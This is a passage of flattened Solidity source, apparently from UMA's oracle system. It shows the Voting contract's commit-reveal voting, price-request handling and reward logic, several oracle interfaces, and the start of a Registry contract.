bytes32 indexed identifier,
uint256 time,
bytes ancillaryData,
bytes encryptedVote
);
event VoteRevealed(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
int256 price,
bytes ancillaryData,
uint256 numTokens
);
event RewardsRetrieved(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData,
uint256 numTokens
);
event PriceRequestAdded(uint256 indexed roundId, bytes32 indexed identifier, uint256 time);
event PriceResolved(
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
int256 price,
bytes ancillaryData
);
/**
* @notice Construct the Voting contract.
* @param _phaseLength length of the commit and reveal phases in seconds.
* @param _gatPercentage of the total token supply that must be used in a vote to create a valid price resolution.
* @param _inflationRate percentage inflation per round used to increase token supply of correct voters.
* @param _rewardsExpirationTimeout timeout, in seconds, within which rewards must be claimed.
* @param _votingToken address of the UMA token contract used to commit votes.
* @param _finder keeps track of all contracts within the system based on their interfaceName.
* @param _timerAddress Contract that stores the current time in a testing environment.
* Must be set to 0x0 for production environments that use live time.
*/
constructor(
uint256 _phaseLength,
FixedPoint.Unsigned memory _gatPercentage,
FixedPoint.Unsigned memory _inflationRate,
uint256 _rewardsExpirationTimeout,
address _votingToken,
address _finder,
address _timerAddress
) public Testable(_timerAddress) {
voteTiming.init(_phaseLength);
require(_gatPercentage.isLessThanOrEqual(1), "GAT percentage must be <= 100%");
gatPercentage = _gatPercentage;
inflationRate = _inflationRate;
votingToken = VotingToken(_votingToken);
finder = FinderInterface(_finder);
rewardsExpirationTimeout = _rewardsExpirationTimeout;
}
/***************************************
MODIFIERS
****************************************/
modifier onlyRegisteredContract() {
if (migratedAddress != address(0)) {
require(msg.sender == migratedAddress, "Caller must be migrated address");
} else {
Registry registry = Registry(finder.getImplementationAddress(OracleInterfaces.Registry));
require(registry.isContractRegistered(msg.sender), "Called must be registered");
}
_;
}
modifier onlyIfNotMigrated() {
require(migratedAddress == address(0), "Only call this if not migrated");
_;
}
/****************************************
* PRICE REQUEST AND ACCESS FUNCTIONS *
****************************************/
/**
* @notice Enqueues a request (if a request isn't already present) for the given `identifier`, `time` pair.
* @dev Time must be in the past and the identifier must be supported. The length of the ancillary data
* is limited such that this method abides by the EVM transaction gas limit.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
*/
function requestPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public override onlyRegisteredContract() {
uint256 blockTime = getCurrentTime();
require(time <= blockTime, "Can only request in past");
require(_getIdentifierWhitelist().isIdentifierSupported(identifier), "Unsupported identifier request");
require(ancillaryData.length <= ancillaryBytesLimit, "Invalid ancillary data");
bytes32 priceRequestId = _encodePriceRequest(identifier, time, ancillaryData);
PriceRequest storage priceRequest = priceRequests[priceRequestId];
uint256 currentRoundId = voteTiming.computeCurrentRoundId(blockTime);
RequestStatus requestStatus = _getRequestStatus(priceRequest, currentRoundId);
if (requestStatus == RequestStatus.NotRequested) {
// Price has never been requested.
// Price requests always go in the next round, so add 1 to the computed current round.
uint256 nextRoundId = currentRoundId.add(1);
priceRequests[priceRequestId] = PriceRequest({
identifier: identifier,
time: time,
lastVotingRound: nextRoundId,
index: pendingPriceRequests.length,
ancillaryData: ancillaryData
});
pendingPriceRequests.push(priceRequestId);
emit PriceRequestAdded(nextRoundId, identifier, time);
}
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function requestPrice(bytes32 identifier, uint256 time) public override {
requestPrice(identifier, time, "");
}
/**
* @notice Whether the price for `identifier` and `time` is available.
* @dev Time must be in the past and the identifier must be supported.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp of for the price request.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @return _hasPrice bool if the DVM has resolved to a price for the given identifier and timestamp.
*/
function hasPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public view override onlyRegisteredContract() returns (bool) {
(bool _hasPrice, , ) = _getPriceOrError(identifier, time, ancillaryData);
return _hasPrice;
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function hasPrice(bytes32 identifier, uint256 time) public view override returns (bool) {
return hasPrice(identifier, time, "");
}
/**
* @notice Gets the price for `identifier` and `time` if it has already been requested and resolved.
* @dev If the price is not available, the method reverts.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp of for the price request.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @return int256 representing the resolved price for the given identifier and timestamp.
*/
function getPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public view override onlyRegisteredContract() returns (int256) {
(bool _hasPrice, int256 price, string memory message) = _getPriceOrError(identifier, time, ancillaryData);
// If the price wasn't available, revert with the provided message.
require(_hasPrice, message);
return price;
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function getPrice(bytes32 identifier, uint256 time) public view override returns (int256) {
return getPrice(identifier, time, "");
}
/**
* @notice Gets the status of a list of price requests, identified by their identifier and time.
* @dev If the status for a particular request is NotRequested, the lastVotingRound will always be 0.
* @param requests array of type PendingRequest which includes an identifier and timestamp for each request.
* @return requestStates a list, in the same order as the input list, giving the status of each of the specified price requests.
*/
function getPriceRequestStatuses(PendingRequestAncillary[] memory requests)
public
view
returns (RequestState[] memory)
{
RequestState[] memory requestStates = new RequestState[](requests.length);
uint256 currentRoundId = voteTiming.computeCurrentRoundId(getCurrentTime());
for (uint256 i = 0; i < requests.length; i++) {
PriceRequest storage priceRequest =
_getPriceRequest(requests[i].identifier, requests[i].time, requests[i].ancillaryData);
RequestStatus status = _getRequestStatus(priceRequest, currentRoundId);
// If it's an active request, its true lastVotingRound is the current one, even if it hasn't been updated.
if (status == RequestStatus.Active) {
requestStates[i].lastVotingRound = currentRoundId;
} else {
requestStates[i].lastVotingRound = priceRequest.lastVotingRound;
}
requestStates[i].status = status;
}
return requestStates;
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function getPriceRequestStatuses(PendingRequest[] memory requests) public view returns (RequestState[] memory) {
PendingRequestAncillary[] memory requestsAncillary = new PendingRequestAncillary[](requests.length);
for (uint256 i = 0; i < requests.length; i++) {
requestsAncillary[i].identifier = requests[i].identifier;
requestsAncillary[i].time = requests[i].time;
requestsAncillary[i].ancillaryData = "";
}
return getPriceRequestStatuses(requestsAncillary);
}
/****************************************
* VOTING FUNCTIONS *
****************************************/
/**
* @notice Commit a vote for a price request for `identifier` at `time`.
* @dev `identifier`, `time` must correspond to a price request that's currently in the commit phase.
* Commits can be changed.
* @dev Since transaction data is public, the salt will be revealed with the vote. While this is the system’s expected behavior,
* voters should never reuse salts. If someone else is able to guess the voted price and knows that a salt will be reused, then
* they can determine the vote pre-reveal.
* @param identifier uniquely identifies the committed vote. EG BTC/USD price pair.
* @param time unix timestamp of the price being voted on.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @param hash keccak256 hash of the `price`, `salt`, voter `address`, `time`, current `roundId`, and `identifier`.
*/
function commitVote(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData,
bytes32 hash
) public override onlyIfNotMigrated() {
require(hash != bytes32(0), "Invalid provided hash");
// Current time is required for all vote timing queries.
uint256 blockTime = getCurrentTime();
require(
voteTiming.computeCurrentPhase(blockTime) == VotingAncillaryInterface.Phase.Commit,
"Cannot commit in reveal phase"
);
// At this point, the computed and last updated round ID should be equal.
uint256 currentRoundId = voteTiming.computeCurrentRoundId(blockTime);
PriceRequest storage priceRequest = _getPriceRequest(identifier, time, ancillaryData);
require(
_getRequestStatus(priceRequest, currentRoundId) == RequestStatus.Active,
"Cannot commit inactive request"
);
priceRequest.lastVotingRound = currentRoundId;
VoteInstance storage voteInstance = priceRequest.voteInstances[currentRoundId];
voteInstance.voteSubmissions[msg.sender].commit = hash;
emit VoteCommitted(msg.sender, currentRoundId, identifier, time, ancillaryData);
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function commitVote(
bytes32 identifier,
uint256 time,
bytes32 hash
) public override onlyIfNotMigrated() {
commitVote(identifier, time, "", hash);
}
/**
* @notice Snapshot the current round's token balances and lock in the inflation rate and GAT.
* @dev This function can be called multiple times, but only the first call per round into this function or `revealVote`
* will create the round snapshot. Any later calls will be a no-op. Will revert unless called during reveal period.
* @param signature signature required to prove caller is an EOA to prevent flash loans from being included in the
* snapshot.
*/
function snapshotCurrentRound(bytes calldata signature)
external
override(VotingInterface, VotingAncillaryInterface)
onlyIfNotMigrated()
{
uint256 blockTime = getCurrentTime();
require(voteTiming.computeCurrentPhase(blockTime) == Phase.Reveal, "Only snapshot in reveal phase");
// Require public snapshot require signature to ensure caller is an EOA.
require(ECDSA.recover(snapshotMessageHash, signature) == msg.sender, "Signature must match sender");
uint256 roundId = voteTiming.computeCurrentRoundId(blockTime);
_freezeRoundVariables(roundId);
}
/**
* @notice Reveal a previously committed vote for `identifier` at `time`.
* @dev The revealed `price`, `salt`, `address`, `time`, `roundId`, and `identifier`, must hash to the latest `hash`
* that `commitVote()` was called with. Only the committer can reveal their vote.
* @param identifier voted on in the commit phase. EG BTC/USD price pair.
* @param time specifies the unix timestamp of the price being voted on.
* @param price voted on during the commit phase.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @param salt value used to hide the commitment price during the commit phase.
*/
function revealVote(
bytes32 identifier,
uint256 time,
int256 price,
bytes memory ancillaryData,
int256 salt
) public override onlyIfNotMigrated() {
require(voteTiming.computeCurrentPhase(getCurrentTime()) == Phase.Reveal, "Cannot reveal in commit phase");
// Note: computing the current round is required to disallow people from revealing an old commit after the round is over.
uint256 roundId = voteTiming.computeCurrentRoundId(getCurrentTime());
PriceRequest storage priceRequest = _getPriceRequest(identifier, time, ancillaryData);
VoteInstance storage voteInstance = priceRequest.voteInstances[roundId];
VoteSubmission storage voteSubmission = voteInstance.voteSubmissions[msg.sender];
// Scoping to get rid of a stack too deep error.
{
// 0 hashes are disallowed in the commit phase, so they indicate a different error.
// Cannot reveal an uncommitted or previously revealed hash
require(voteSubmission.commit != bytes32(0), "Invalid hash reveal");
require(
keccak256(abi.encodePacked(price, salt, msg.sender, time, ancillaryData, roundId, identifier)) ==
voteSubmission.commit,
"Revealed data != commit hash"
);
// To protect against flash loans, we require snapshot be validated as EOA.
require(rounds[roundId].snapshotId != 0, "Round has no snapshot");
}
// Get the frozen snapshotId
uint256 snapshotId = rounds[roundId].snapshotId;
delete voteSubmission.commit;
// Get the voter's snapshotted balance. Since balances are returned pre-scaled by 10**18, we can directly
// initialize the Unsigned value with the returned uint.
FixedPoint.Unsigned memory balance = FixedPoint.Unsigned(votingToken.balanceOfAt(msg.sender, snapshotId));
// Set the voter's submission.
voteSubmission.revealHash = keccak256(abi.encode(price));
// Add vote to the results.
voteInstance.resultComputation.addVote(price, balance);
emit VoteRevealed(msg.sender, roundId, identifier, time, price, ancillaryData, balance.rawValue);
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function revealVote(
bytes32 identifier,
uint256 time,
int256 price,
int256 salt
) public override {
revealVote(identifier, time, price, "", salt);
}
/**
* @notice commits a vote and logs an event with a data blob, typically an encrypted version of the vote
* @dev An encrypted version of the vote is emitted in an event `EncryptedVote` to allow off-chain infrastructure to
* retrieve the commit. The contents of `encryptedVote` are never used on chain: it is purely for convenience.
* @param identifier unique price pair identifier. Eg: BTC/USD price pair.
* @param time unix timestamp of for the price request.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @param hash keccak256 hash of the price you want to vote for and a `int256 salt`.
* @param encryptedVote offchain encrypted blob containing the voters amount, time and salt.
*/
function commitAndEmitEncryptedVote(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData,
bytes32 hash,
bytes memory encryptedVote
) public override {
commitVote(identifier, time, ancillaryData, hash);
uint256 roundId = voteTiming.computeCurrentRoundId(getCurrentTime());
emit EncryptedVote(msg.sender, roundId, identifier, time, ancillaryData, encryptedVote);
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function commitAndEmitEncryptedVote(
bytes32 identifier,
uint256 time,
bytes32 hash,
bytes memory encryptedVote
) public override {
commitVote(identifier, time, "", hash);
commitAndEmitEncryptedVote(identifier, time, "", hash, encryptedVote);
}
/**
* @notice Submit a batch of commits in a single transaction.
* @dev Using `encryptedVote` is optional. If included then commitment is emitted in an event.
* Look at `project-root/common/Constants.js` for the tested maximum number of
* commitments that can fit in one transaction.
* @param commits struct to encapsulate an `identifier`, `time`, `hash` and optional `encryptedVote`.
*/
function batchCommit(CommitmentAncillary[] memory commits) public override {
for (uint256 i = 0; i < commits.length; i++) {
if (commits[i].encryptedVote.length == 0) {
commitVote(commits[i].identifier, commits[i].time, commits[i].ancillaryData, commits[i].hash);
} else {
commitAndEmitEncryptedVote(
commits[i].identifier,
commits[i].time,
commits[i].ancillaryData,
commits[i].hash,
commits[i].encryptedVote
);
}
}
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function batchCommit(Commitment[] memory commits) public override {
CommitmentAncillary[] memory commitsAncillary = new CommitmentAncillary[](commits.length);
for (uint256 i = 0; i < commits.length; i++) {
commitsAncillary[i].identifier = commits[i].identifier;
commitsAncillary[i].time = commits[i].time;
commitsAncillary[i].ancillaryData = "";
commitsAncillary[i].hash = commits[i].hash;
commitsAncillary[i].encryptedVote = commits[i].encryptedVote;
}
batchCommit(commitsAncillary);
}
/**
* @notice Reveal multiple votes in a single transaction.
* Look at `project-root/common/Constants.js` for the tested maximum number of reveals.
* that can fit in one transaction.
* @dev For more info on reveals, review the comment for `revealVote`.
* @param reveals array of the Reveal struct which contains an identifier, time, price and salt.
*/
function batchReveal(RevealAncillary[] memory reveals) public override {
for (uint256 i = 0; i < reveals.length; i++) {
revealVote(
reveals[i].identifier,
reveals[i].time,
reveals[i].price,
reveals[i].ancillaryData,
reveals[i].salt
);
}
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function batchReveal(Reveal[] memory reveals) public override {
RevealAncillary[] memory revealsAncillary = new RevealAncillary[](reveals.length);
for (uint256 i = 0; i < reveals.length; i++) {
revealsAncillary[i].identifier = reveals[i].identifier;
revealsAncillary[i].time = reveals[i].time;
revealsAncillary[i].price = reveals[i].price;
revealsAncillary[i].ancillaryData = "";
revealsAncillary[i].salt = reveals[i].salt;
}
batchReveal(revealsAncillary);
}
/**
* @notice Retrieves rewards owed for a set of resolved price requests.
* @dev Can only retrieve rewards if calling for a valid round and if the call is done within the timeout threshold
* (not expired). Note that a named return value is used here to avoid a stack to deep error.
* @param voterAddress voter for which rewards will be retrieved. Does not have to be the caller.
* @param roundId the round from which voting rewards will be retrieved from.
* @param toRetrieve array of PendingRequests which rewards are retrieved from.
* @return totalRewardToIssue total amount of rewards returned to the voter.
*/
function retrieveRewards(
address voterAddress,
uint256 roundId,
PendingRequestAncillary[] memory toRetrieve
) public override returns (FixedPoint.Unsigned memory totalRewardToIssue) {
if (migratedAddress != address(0)) {
require(msg.sender == migratedAddress, "Can only call from migrated");
}
require(roundId < voteTiming.computeCurrentRoundId(getCurrentTime()), "Invalid roundId");
Round storage round = rounds[roundId];
bool isExpired = getCurrentTime() > round.rewardsExpirationTime;
FixedPoint.Unsigned memory snapshotBalance =
FixedPoint.Unsigned(votingToken.balanceOfAt(voterAddress, round.snapshotId));
// Compute the total amount of reward that will be issued for each of the votes in the round.
FixedPoint.Unsigned memory snapshotTotalSupply =
FixedPoint.Unsigned(votingToken.totalSupplyAt(round.snapshotId));
FixedPoint.Unsigned memory totalRewardPerVote = round.inflationRate.mul(snapshotTotalSupply);
// Keep track of the voter's accumulated token reward.
totalRewardToIssue = FixedPoint.Unsigned(0);
for (uint256 i = 0; i < toRetrieve.length; i++) {
PriceRequest storage priceRequest =
_getPriceRequest(toRetrieve[i].identifier, toRetrieve[i].time, toRetrieve[i].ancillaryData);
VoteInstance storage voteInstance = priceRequest.voteInstances[priceRequest.lastVotingRound];
// Only retrieve rewards for votes resolved in same round
require(priceRequest.lastVotingRound == roundId, "Retrieve for votes same round");
_resolvePriceRequest(priceRequest, voteInstance);
if (voteInstance.voteSubmissions[voterAddress].revealHash == 0) {
continue;
} else if (isExpired) {
// Emit a 0 token retrieval on expired rewards.
emit RewardsRetrieved(
voterAddress,
roundId,
toRetrieve[i].identifier,
toRetrieve[i].time,
toRetrieve[i].ancillaryData,
0
);
} else if (
voteInstance.resultComputation.wasVoteCorrect(voteInstance.voteSubmissions[voterAddress].revealHash)
) {
// The price was successfully resolved during the voter's last voting round, the voter revealed
// and was correct, so they are eligible for a reward.
// Compute the reward and add to the cumulative reward.
FixedPoint.Unsigned memory reward =
snapshotBalance.mul(totalRewardPerVote).div(
voteInstance.resultComputation.getTotalCorrectlyVotedTokens()
);
totalRewardToIssue = totalRewardToIssue.add(reward);
// Emit reward retrieval for this vote.
emit RewardsRetrieved(
voterAddress,
roundId,
toRetrieve[i].identifier,
toRetrieve[i].time,
toRetrieve[i].ancillaryData,
reward.rawValue
);
} else {
// Emit a 0 token retrieval on incorrect votes.
emit RewardsRetrieved(
voterAddress,
roundId,
toRetrieve[i].identifier,
toRetrieve[i].time,
toRetrieve[i].ancillaryData,
0
);
}
// Delete the submission to capture any refund and clean up storage.
delete voteInstance.voteSubmissions[voterAddress].revealHash;
}
// Issue any accumulated rewards.
if (totalRewardToIssue.isGreaterThan(0)) {
require(votingToken.mint(voterAddress, totalRewardToIssue.rawValue), "Voting token issuance failed");
}
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function retrieveRewards(
address voterAddress,
uint256 roundId,
PendingRequest[] memory toRetrieve
) public override returns (FixedPoint.Unsigned memory) {
PendingRequestAncillary[] memory toRetrieveAncillary = new PendingRequestAncillary[](toRetrieve.length);
for (uint256 i = 0; i < toRetrieve.length; i++) {
toRetrieveAncillary[i].identifier = toRetrieve[i].identifier;
toRetrieveAncillary[i].time = toRetrieve[i].time;
toRetrieveAncillary[i].ancillaryData = "";
}
return retrieveRewards(voterAddress, roundId, toRetrieveAncillary);
}
/****************************************
* VOTING GETTER FUNCTIONS *
****************************************/
/**
* @notice Gets the queries that are being voted on this round.
* @return pendingRequests array containing identifiers of type `PendingRequest`.
* and timestamps for all pending requests.
*/
function getPendingRequests()
external
view
override(VotingInterface, VotingAncillaryInterface)
returns (PendingRequestAncillary[] memory)
{
uint256 blockTime = getCurrentTime();
uint256 currentRoundId = voteTiming.computeCurrentRoundId(blockTime);
// Solidity memory arrays aren't resizable (and reading storage is expensive). Hence this hackery to filter
// `pendingPriceRequests` only to those requests that have an Active RequestStatus.
PendingRequestAncillary[] memory unresolved = new PendingRequestAncillary[](pendingPriceRequests.length);
uint256 numUnresolved = 0;
for (uint256 i = 0; i < pendingPriceRequests.length; i++) {
PriceRequest storage priceRequest = priceRequests[pendingPriceRequests[i]];
if (_getRequestStatus(priceRequest, currentRoundId) == RequestStatus.Active) {
unresolved[numUnresolved] = PendingRequestAncillary({
identifier: priceRequest.identifier,
time: priceRequest.time,
ancillaryData: priceRequest.ancillaryData
});
numUnresolved++;
}
}
PendingRequestAncillary[] memory pendingRequests = new PendingRequestAncillary[](numUnresolved);
for (uint256 i = 0; i < numUnresolved; i++) {
pendingRequests[i] = unresolved[i];
}
return pendingRequests;
}
/**
* @notice Returns the current voting phase, as a function of the current time.
* @return Phase to indicate the current phase. Either { Commit, Reveal, NUM_PHASES_PLACEHOLDER }.
*/
function getVotePhase() external view override(VotingInterface, VotingAncillaryInterface) returns (Phase) {
return voteTiming.computeCurrentPhase(getCurrentTime());
}
/**
* @notice Returns the current round ID, as a function of the current time.
* @return uint256 representing the unique round ID.
*/
function getCurrentRoundId() external view override(VotingInterface, VotingAncillaryInterface) returns (uint256) {
return voteTiming.computeCurrentRoundId(getCurrentTime());
}
/****************************************
* OWNER ADMIN FUNCTIONS *
****************************************/
/**
* @notice Disables this Voting contract in favor of the migrated one.
* @dev Can only be called by the contract owner.
* @param newVotingAddress the newly migrated contract address.
*/
function setMigrated(address newVotingAddress)
external
override(VotingInterface, VotingAncillaryInterface)
onlyOwner
{
migratedAddress = newVotingAddress;
}
/**
* @notice Resets the inflation rate. Note: this change only applies to rounds that have not yet begun.
* @dev This method is public because calldata structs are not currently supported by solidity.
* @param newInflationRate sets the next round's inflation rate.
*/
function setInflationRate(FixedPoint.Unsigned memory newInflationRate)
public
override(VotingInterface, VotingAncillaryInterface)
onlyOwner
{
inflationRate = newInflationRate;
}
/**
* @notice Resets the Gat percentage. Note: this change only applies to rounds that have not yet begun.
* @dev This method is public because calldata structs are not currently supported by solidity.
* @param newGatPercentage sets the next round's Gat percentage.
*/
function setGatPercentage(FixedPoint.Unsigned memory newGatPercentage)
public
override(VotingInterface, VotingAncillaryInterface)
onlyOwner
{
require(newGatPercentage.isLessThan(1), "GAT percentage must be < 100%");
gatPercentage = newGatPercentage;
}
/**
* @notice Resets the rewards expiration timeout.
* @dev This change only applies to rounds that have not yet begun.
* @param NewRewardsExpirationTimeout how long a caller can wait before choosing to withdraw their rewards.
*/
function setRewardsExpirationTimeout(uint256 NewRewardsExpirationTimeout)
public
override(VotingInterface, VotingAncillaryInterface)
onlyOwner
{
rewardsExpirationTimeout = NewRewardsExpirationTimeout;
}
/****************************************
* PRIVATE AND INTERNAL FUNCTIONS *
****************************************/
// Returns the price for a given identifer. Three params are returns: bool if there was an error, int to represent
// the resolved price and a string which is filled with an error message, if there was an error or "".
function _getPriceOrError(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
)
private
view
returns (
bool,
int256,
string memory
)
{
PriceRequest storage priceRequest = _getPriceRequest(identifier, time, ancillaryData);
uint256 currentRoundId = voteTiming.computeCurrentRoundId(getCurrentTime());
RequestStatus requestStatus = _getRequestStatus(priceRequest, currentRoundId);
if (requestStatus == RequestStatus.Active) {
return (false, 0, "Current voting round not ended");
} else if (requestStatus == RequestStatus.Resolved) {
VoteInstance storage voteInstance = priceRequest.voteInstances[priceRequest.lastVotingRound];
(, int256 resolvedPrice) =
voteInstance.resultComputation.getResolvedPrice(_computeGat(priceRequest.lastVotingRound));
return (true, resolvedPrice, "");
} else if (requestStatus == RequestStatus.Future) {
return (false, 0, "Price is still to be voted on");
} else {
return (false, 0, "Price was never requested");
}
}
function _getPriceRequest(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) private view returns (PriceRequest storage) {
return priceRequests[_encodePriceRequest(identifier, time, ancillaryData)];
}
function _encodePriceRequest(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) private pure returns (bytes32) {
return keccak256(abi.encode(identifier, time, ancillaryData));
}
function _freezeRoundVariables(uint256 roundId) private {
Round storage round = rounds[roundId];
// Only on the first reveal should the snapshot be captured for that round.
if (round.snapshotId == 0) {
// There is no snapshot ID set, so create one.
round.snapshotId = votingToken.snapshot();
// Set the round inflation rate to the current global inflation rate.
rounds[roundId].inflationRate = inflationRate;
// Set the round gat percentage to the current global gat rate.
rounds[roundId].gatPercentage = gatPercentage;
// Set the rewards expiration time based on end of time of this round and the current global timeout.
rounds[roundId].rewardsExpirationTime = voteTiming.computeRoundEndTime(roundId).add(
rewardsExpirationTimeout
);
}
}
function _resolvePriceRequest(PriceRequest storage priceRequest, VoteInstance storage voteInstance) private {
if (priceRequest.index == UINT_MAX) {
return;
}
(bool isResolved, int256 resolvedPrice) =
voteInstance.resultComputation.getResolvedPrice(_computeGat(priceRequest.lastVotingRound));
require(isResolved, "Can't resolve unresolved request");
// Delete the resolved price request from pendingPriceRequests.
uint256 lastIndex = pendingPriceRequests.length - 1;
PriceRequest storage lastPriceRequest = priceRequests[pendingPriceRequests[lastIndex]];
lastPriceRequest.index = priceRequest.index;
pendingPriceRequests[priceRequest.index] = pendingPriceRequests[lastIndex];
pendingPriceRequests.pop();
priceRequest.index = UINT_MAX;
emit PriceResolved(
priceRequest.lastVotingRound,
priceRequest.identifier,
priceRequest.time,
resolvedPrice,
priceRequest.ancillaryData
);
}
function _computeGat(uint256 roundId) private view returns (FixedPoint.Unsigned memory) {
uint256 snapshotId = rounds[roundId].snapshotId;
if (snapshotId == 0) {
// No snapshot - return max value to err on the side of caution.
return FixedPoint.Unsigned(UINT_MAX);
}
// Grab the snapshotted supply from the voting token. It's already scaled by 10**18, so we can directly
// initialize the Unsigned value with the returned uint.
FixedPoint.Unsigned memory snapshottedSupply = FixedPoint.Unsigned(votingToken.totalSupplyAt(snapshotId));
// Multiply the total supply at the snapshot by the gatPercentage to get the GAT in number of tokens.
return snapshottedSupply.mul(rounds[roundId].gatPercentage);
}
function _getRequestStatus(PriceRequest storage priceRequest, uint256 currentRoundId)
private
view
returns (RequestStatus)
{
if (priceRequest.lastVotingRound == 0) {
return RequestStatus.NotRequested;
} else if (priceRequest.lastVotingRound < currentRoundId) {
VoteInstance storage voteInstance = priceRequest.voteInstances[priceRequest.lastVotingRound];
(bool isResolved, ) =
voteInstance.resultComputation.getResolvedPrice(_computeGat(priceRequest.lastVotingRound));
return isResolved ? RequestStatus.Resolved : RequestStatus.Active;
} else if (priceRequest.lastVotingRound == currentRoundId) {
return RequestStatus.Active;
} else {
// Means than priceRequest.lastVotingRound > currentRoundId
return RequestStatus.Future;
}
}
function _getIdentifierWhitelist() private view returns (IdentifierWhitelistInterface supportedIdentifiers) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
/**
* @title Provides addresses of the live contracts implementing certain interfaces.
* @dev Examples are the Oracle or Store interfaces.
*/
interface FinderInterface {
/**
* @notice Updates the address of the contract that implements `interfaceName`.
* @param interfaceName bytes32 encoding of the interface name that is either changed or registered.
* @param implementationAddress address of the deployed contract that implements the interface.
*/
function changeImplementationAddress(bytes32 interfaceName, address implementationAddress) external;
/**
* @notice Gets the address of the contract that implements the given `interfaceName`.
* @param interfaceName queried interface.
* @return implementationAddress address of the deployed contract that implements the interface.
*/
function getImplementationAddress(bytes32 interfaceName) external view returns (address);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
/**
* @title Financial contract facing Oracle interface.
* @dev Interface used by financial contracts to interact with the Oracle. Voters will use a different interface.
*/
abstract contract OracleAncillaryInterface {
/**
* @notice Enqueues a request (if a request isn't already present) for the given `identifier`, `time` pair.
* @dev Time must be in the past and the identifier must be supported.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @param time unix timestamp for the price request.
*/
function requestPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public virtual;
/**
* @notice Whether the price for `identifier` and `time` is available.
* @dev Time must be in the past and the identifier must be supported.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @return bool if the DVM has resolved to a price for the given identifier and timestamp.
*/
function hasPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public view virtual returns (bool);
/**
* @notice Gets the price for `identifier` and `time` if it has already been requested and resolved.
* @dev If the price is not available, the method reverts.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @return int256 representing the resolved price for the given identifier and timestamp.
*/
function getPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public view virtual returns (int256);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/**
* @title Interface for whitelists of supported identifiers that the oracle can provide prices for.
*/
interface IdentifierWhitelistInterface {
/**
* @notice Adds the provided identifier as a supported identifier.
* @dev Price requests using this identifier will succeed after this call.
* @param identifier bytes32 encoding of the string identifier. Eg: BTC/USD.
*/
function addSupportedIdentifier(bytes32 identifier) external;
/**
* @notice Removes the identifier from the whitelist.
* @dev Price requests using this identifier will no longer succeed after this call.
* @param identifier bytes32 encoding of the string identifier. Eg: BTC/USD.
*/
function removeSupportedIdentifier(bytes32 identifier) external;
/**
* @notice Checks whether an identifier is on the whitelist.
* @param identifier bytes32 encoding of the string identifier. Eg: BTC/USD.
* @return bool if the identifier is supported (or not).
*/
function isIdentifierSupported(bytes32 identifier) external view returns (bool);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/MultiRole.sol";
import "../interfaces/RegistryInterface.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
/**
* @title Registry for financial contracts and approved financial contract creators.
* @dev Maintains a whitelist of financial contract creators that are allowed
* to register new financial contracts and stores party members of a financial contract.
*/
contract Registry is RegistryInterface, MultiRole {
using SafeMath for uint256;
/****************************************
* INTERNAL VARIABLES AND STORAGE *
****************************************/
enum Roles {
Owner, // The owner manages the set of ContractCreators.
ContractCreator // Can register financial contracts.
}
// This enum is required because a `WasValid` state is required
// to ensure that financial contracts cannot be re-registered.
enum Validity { Invalid, Valid }
// Local information about a contract.
struct FinancialContract {
Validity valid;
uint128 index;
}
struct Party {
address[] contracts; // Each financial contract address is stored in this array.
// The address of each financial contract is mapped to its index for constant time look up and deletion.
mapping(address => uint256) contractIndex;
}
// Array of all contracts that are approved to use the UMA Oracle.
